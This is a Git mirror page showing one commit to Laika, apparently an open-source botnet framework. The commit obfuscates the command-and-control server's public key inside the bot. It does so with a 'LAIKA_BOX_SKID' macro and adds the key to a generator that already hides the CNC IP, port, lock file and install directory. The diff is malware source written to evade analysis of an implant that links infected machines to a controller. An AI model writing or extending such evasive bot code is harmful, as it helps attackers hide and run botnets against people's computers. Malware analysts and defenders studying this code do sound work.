mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-21 12:40:04 +00:00
Bot: Obfuscated CNC public key
This commit is contained in:
parent
0fdca35f87
commit
fed78402a2
@ -1,6 +1,7 @@
|
||||
#include "lmem.h"
|
||||
#include "lsodium.h"
|
||||
#include "lerror.h"
|
||||
#include "lbox.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
@ -53,6 +54,7 @@ void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
|
||||
/* ==================================================[[ Bot ]]=================================================== */
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void) {
|
||||
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);
|
||||
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
||||
struct hostent *host;
|
||||
char *tempINBuf;
|
||||
@ -90,7 +92,7 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
}
|
||||
|
||||
/* read cnc's public key into peerPub */
|
||||
if (!laikaK_loadKeys(bot->peer->peerPub, NULL, LAIKA_PUBKEY, NULL)) {
|
||||
if (!laikaK_loadKeys(bot->peer->peerPub, NULL, cncPubKey, NULL)) {
|
||||
laikaB_freeBot(bot);
|
||||
LAIKA_ERROR("Failed to init cnc public key!\n");
|
||||
}
|
||||
@ -113,6 +115,7 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
|
||||
/* copy inet address info */
|
||||
strcpy(bot->peer->inet, tempINBuf);
|
||||
LAIKA_BOX_SKID_END(cncPubKey);
|
||||
return bot;
|
||||
}
|
||||
|
||||
|
@ -74,6 +74,7 @@ int main(int argv, char **argc) {
|
||||
/* shared */
|
||||
MAKESKIDDATA(LAIKA_CNC_IP);
|
||||
MAKESKIDDATA(LAIKA_CNC_PORT);
|
||||
MAKESKIDDATA(LAIKA_PUBKEY);
|
||||
/* linux */
|
||||
MAKESKIDDATA(LAIKA_LIN_LOCK_FILE);
|
||||
MAKESKIDDATA(LAIKA_LIN_INSTALL_DIR);
|
||||
|
Loading…
Reference in New Issue
Block a user